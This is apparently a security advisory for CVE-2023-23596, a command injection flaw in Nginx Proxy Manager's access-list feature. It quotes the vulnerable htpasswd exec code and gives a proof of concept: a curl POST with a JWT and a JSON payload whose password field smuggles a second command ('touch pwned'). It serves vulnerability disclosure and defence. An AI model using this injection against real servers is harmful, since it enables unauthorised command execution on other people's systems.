CVE-2023-23596: OS Command Injection in Nginx Proxy Manager

- 3 mins

Description

Nginx Proxy Manager prior to version <= 2.9.19 is vulnerable to OS command injection. When creating an access list, the back-end will build an htpasswd file with crafted username and/or password input and concatenated without any validation and is directly passed to the exec command, potentially allowing an authenticated attacker to execute arbitrary commands on the system.

Details

Building Access file

File /backend/internal/access-list.js:507-513:

  // ...
  if (typeof item.password !== 'undefined' && item.password.length) {
    logger.info('Adding: ' + item.username);

    utils.exec('/usr/bin/htpasswd -b "' + htpasswd_file + '" "' + item.username + '" "' + item.password + '"')
      .then((/*result*/) => {
        next();
      })
  // ...

The vulnerability in the code snippet above is located in the build method, where the utils.exec() function is used to execute the /usr/bin/htpasswd command. The function takes item.username and item.password as input, which is concatenated to create an htpasswd file & passed as an argument to the utils.exec() function. This allows an attacker to inject arbitrary commands into the input, potentially allowing them to execute arbitrary commands on the system.

Proof of Concept

This proof of concept demonstrates how an attacker can exploit this vulnerability. It uses a curl command to send a POST request to the `/api/nginx/access-lists` endpoint for creating an access list.

$ curl -sX POST http://TARGET.HOST/api/nginx/access-lists \
> -H "Authorization: Bearer ${JWT}" \
> --data-binary "@payload.json"

The request includes a JSON Web Token (JWT) in the “Authorization” header to authenticate the request, and the payload of the request is taken from a payload.json file, which contains the JSON data for creating an access list, including the name of the list, the type of access control, and an array of items.

{
  "name": "lorem-ipsum",
  "satisfy_any": false,
  "pass_auth": false,
  "items": [
    {
      "username": "foo",
      "password": "bar\";touch \"pwned"
    }
  ],
  "clients": []
}

In this example, the payload includes a single item with a username of “foo” and a password of “bar”;touch “pwned”. When the request is sent, the server-side code will process the payload, and will insert the payload’s username and password into the htpasswd command without any validation. This payload contains a malicious command, touch “pwned”, which will create an empty pwned file, and will be executed by the server.

Impact

By injecting arbitrary commands into the htpasswd command, an attacker can execute arbitrary commands on the server.

Timeline

References